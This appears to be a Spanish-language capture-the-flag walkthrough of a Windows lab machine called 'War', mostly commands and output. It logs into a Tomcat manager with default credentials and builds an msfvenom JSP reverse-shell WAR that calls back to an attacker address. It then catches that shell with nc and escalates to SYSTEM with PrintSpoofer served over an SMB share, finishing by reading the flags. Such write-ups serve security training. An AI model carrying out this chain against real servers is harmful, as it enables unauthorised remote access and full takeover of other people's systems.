

# War

```
└─# nmap -sCV -p135,139,445,8080,49666,49667,49669,49674,49677 -Pn -
```

PORT	STATE	SERVICE	REASON	VERSION
135/tcp	open	msrpc	syn-ack ttl 128	Microsoft Windows RPC
139/tcp	open	netbios-ssn	syn-ack ttl 128	Microsoft Windows netbios-ssn
445/tcp	closed	microsoft-ds	reset ttl 128	
8080/tcp	closed	http-proxy	reset ttl 128	
49666/tcp	open	unknown	syn-ack ttl 128	
49667/tcp	open	unknown	syn-ack ttl 128	
49669/tcp	closed	unknown	reset ttl 128	
49674/tcp	closed	unknown	reset ttl 128	
49677/tcp	closed	unknown	reset ttl 128	

vamos al puerto 8080 y tenemos un Tomcat

Home Documentation Configuration Examples Wiki Mailing Lists Find Help

## Apache Tomcat/11.0.1

If you're seeing this, you've successfully installed Tomcat. Congratulations!

Recommended Reading:  
[Security Considerations How-To](#)  
[Manager Application How-To](#)  
[Clustering/Session Replication How-To](#)

por aca vamos a un login

Server Status  
**Manager App**  
Host Manager

### Developer Quick Start

Tomcat Setup  
First Web Application

Realms & AAA  
JDBC DataSources

Examples

Servlet Specifications  
Tomcat Versions

### Managing Tomcat

For security, access to the `manager.webapp` is restricted. Users are defined in:

`$CATALINA_HOME/conf/tomcat-users.xml`

In Tomcat 11.0 access to the manager application is split between different users.  
[Read more...](#)

[Release Notes](#)  
[Changelog](#)  
[Migration Guide](#)  
[Security Notices](#)

### Documentation

[Tomcat 11.0 Documentation](#)  
[Tomcat 11.0 Configuration](#)  
[Tomcat Wiki](#)

Find additional important configuration information in:

`$CATALINA_HOME/RUNNING.txt`

Developers may be interested in:

[Tomcat 11.0 Bug Database](#)  
[Tomcat 11.0 JavaDocs](#)  
[Tomcat 11.0 Git Repository at GitHub](#)

### Getting Help

[FAQ and Mailing Lists](#)

The following mailing lists are available:

[tomcat-announce](#)  
Important announcements, releases, security vulnerability notifications. (Low volume).

[tomcat-users](#)  
User support and discussion

[taglibs-user](#)  
User support and discussion for [Apache Taglibs](#)

[tomcat-dev](#)  
Development mailing list, including commit messages

jugando con credenciales default que saque de esta pagina  
<https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown> logro entrar con admin:tomcat

Path	Version	Display Name	Running	Sessions	Commands
/	None specified	Welcome to Tomcat	true	0	Start Stop Reload Undeploy Expire sessions with idle ≥ 30 minutes
/docs	None specified	Tomcat Documentation	true	0	Start Stop Reload Undeploy Expire sessions with idle ≥ 30 minutes
/examples	None specified	Servlet and JSP Examples	true	0	Start Stop Reload Undeploy Expire sessions with idle ≥ 30 minutes
/host-manager	None specified	Tomcat Host Manager Application	true	0	Start Stop Reload Undeploy Expire sessions with idle ≥ 30 minutes
/manager	None specified	Tomcat Manager Application	true	1	Start Stop Reload Undeploy Expire sessions with idle ≥ 30 minutes

creamos un archivo war para servir a tomcat (archivos war son java para deploy)

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ip_atacante LPORT=4242 -f war > reverse.war
```

lo cargamos

WAR file to deploy

Select WAR file to upload  No file chosen

aparece aqui

Applications					
Path	Version	Display Name	Running	Sessions	Commands
/	None specified	Welcome to Tomcat	true	0	Start Stop Reload Undeploy Expire sessions with idle ≥ 30 minutes
/docs	None specified	Tomcat Documentation	true	0	Start Stop Reload Undeploy Expire sessions with idle ≥ 30 minutes
/examples	None specified	Servlet and JSP Examples	true	0	Start Stop Reload Undeploy Expire sessions with idle ≥ 30 minutes
/host-manager	None specified	Tomcat Host Manager Application	true	0	Start Stop Reload Undeploy Expire sessions with idle ≥ 30 minutes
/manager	None specified	Tomcat Manager Application	true	1	Start Stop Reload Undeploy Expire sessions with idle ≥ 30 minutes
/reverse	None specified	este campo tiene que estar como true, si te sale false modifica el payload, pues estarian poniendo filtros	true	0	Start Stop Reload Undeploy Expire sessions with idle ≥ 30 minutes

adentro

```
(root@miguel) - [ /home/miguel/Work ]
# rlrwrap nc -lvnp 4242
listening on [any] 4242 ...
connect to [192.168.137.12] from (UNKNOWN) [192.168.137.15] 50204
Microsoft Windows [Version 10.0.19045.2965]
(c) Microsoft Corporation. All rights reserved.

C:\Program Files\Apache Software Foundation\Tomcat 11.0>
```

```
C:\>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
-----
Privilege Name      Description                                     State
=====
SeAssignPrimaryTokenPrivilege Replace a process level token                  Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process            Disabled
SeSystemtimePrivilege Change the system time                        Disabled
SeShutdownPrivilege Shut down the system                          Disabled
SeAuditPrivilege Generate security audits                      Disabled
SeChangeNotifyPrivilege Bypass traverse checking                     Enabled
SeUndockPrivilege Remove computer from docking station          Disabled
SeImpersonatePrivilege Impersonate a client after authentication      Enabled
SeCreateGlobalPrivilege Create global objects                         Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                 Disabled
SeTimeZonePrivilege Change the time zone                          Disabled
```

vamos a proceder a escalar

me descargo PrintSpoofer64 en kali

```
wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
```

comparto recurso

```
C:\Windows\SERVIC~1\LOCALS~1\AppData\Local\Temp>copy \\192.168.137.12\smbFolder\PrintSpoofer64.exe PrintSpoofer64.exe
copy \\192.168.137.12\smbFolder\PrintSpoofer64.exe PrintSpoofer64.exe
1 file(s) copied.

C:\Windows\SERVIC~1\LOCALS~1\AppData\Local\Temp>dir
dir
Volume in drive C has no label.
Volume Serial Number is 380E-880B

Directory of C:\Windows\SERVIC~1\LOCALS~1\AppData\Local\Temp

02/01/2025  10:42 AM  <DIR>          .
02/01/2025  10:42 AM  <DIR>          ..
02/01/2025  01:24 PM  <DIR>          hspcrdata LOCAL SERVICE
12/07/2021  04:57 AM             27,136 PrintSpoofer64.exe
01/29/2025  07:38 PM      10,141,164 winPEASx64.exe
                2 File(s)      10,168,320 bytes
                3 Dir(s)      31,056,703,488 bytes free

C:\Windows\SERVIC~1\LOCALS~1\AppData\Local\Temp>
```

```
drwxr-xr-x root root 4.0 KB Mon Jan 13 07:40:30 2025 => mimikatz
lrwxrwxrwx root root 20 B Thu Sep 26 10:18:19 2024 => powershell-emp
ire -> ../powershell-empire
drwxr-xr-x root root 4.0 KB Mon Jan 13 07:41:00 2025 => powersploit
lrwxrwxrwx root root 26 KB Tue Dec 7 09:57:44 2021 => PrintSpoofer64.exe
drwxr-xr-x root root 4.0 KB Thu Jan 30 01:52:35 2025 => pyLAPS
drwxr-xr-x root root 4.0 KB Mon Jan 13 07:41:05 2025 => sbd
drwxr-xr-x root root 4.0 KB Thu Jan 30 00:51:33 2025 => SharpHound
drwxr-xr-x root root 4.0 KB Mon Jan 13 07:41:27 2025 => wce
lrwxrwxr-x miguel miguel 9.7 MB Thu Jan 30 00:38:26 2025 => winPEASx64.exe

(root@miguel) - [/usr/share/windows-resources]
# impacket-smbserver smbFolder $(pwd) -smb2support

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (192.168.137.15,50834)
[*] AUTHENTICATE MESSAGE (\,WAR)
[*] User WAR\ authenticated successfully
[*] :::00:aaaaaaaaaaaaaaaa
[*] Connecting Share(1:smbFolder)
```

aqui muestra como usarlo

<https://github.com/itm4n/PrintSpoofer>

```
C:\Windows\SERVIC~1\LOCALS~1\AppData\Local\Temp>PrintSpoofer64.exe -i -c powershell
PrintSpoofer64.exe -i -c powershell
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Windows\system32> whoami
whoami
nt authority\system
PS C:\Windows\system32>
```

```

Directory: C:\Users\low\Desktop

ode                LastWriteTime             Length Name
---                -
a----            12/6/2024   4:23 PM             35 user.txt

S C:\Users\low\Desktop> type user.txt
type user.txt
a1ddb915bd423f0ca428dce35612dcb
S C:\Users\low\Desktop> type ../../Administrator\Desktop\user.txt
type ../../Administrator\Desktop\user.txt
S C:\Users\low\Desktop> cd ../../
cd ../../
S C:\Users> cd Administrator\Desktop
cd Administrator\Desktop
S C:\Users\Administrator\Desktop> dir
dir

Directory: C:\Users\Administrator\Desktop

ode                LastWriteTime             Length Name
---                -
a----            12/6/2024   4:30 PM             35 root.txt

S C:\Users\Administrator\Desktop> type root.txt
type root.txt
399d5ba705df14146335def4ff64520
S C:\Users\Administrator\Desktop>

```